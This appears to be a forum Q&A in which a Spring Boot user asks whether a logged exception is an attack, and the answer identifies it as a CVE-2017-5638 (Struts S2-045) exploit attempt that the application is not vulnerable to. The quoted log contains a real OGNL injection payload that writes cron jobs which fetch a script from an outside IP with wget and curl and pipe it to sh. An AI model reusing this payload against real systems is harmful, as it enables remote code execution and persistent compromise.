InvalidMediaTypeException - Am I under attack?

Question

For the past few weeks, we've been seeing a lot of this in our logs. This is a spring-boot application. Is this an RCE attempt? Is this related to https://cwiki.apache.org/confluence/display/WW/S2-045? ``` Caused by: org.springframework.http.InvalidMediaTypeException: Invalid mime type "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/13 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh
*/14 * * * * curl http://91.230.47.41/res/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(…

Accepted Answer

Yes, that does look like an attempt to exploit CVE-2017-5638, which is described in S2-045 that you linked to.

The exception in your Spring Boot application shows that it is not vulnerable to the attack (if it was vulnerable, you wouldn't have the exception), but that won't stop people from trying and your logs from filling with noise.

Unfortunately, I have not yet found a way to keep the noise from these exceptions out of the logs, but, at least for now, they are just noise and you don't need to worry about them.

InvalidMediaTypeException - Am I under attack?

Solution

Problem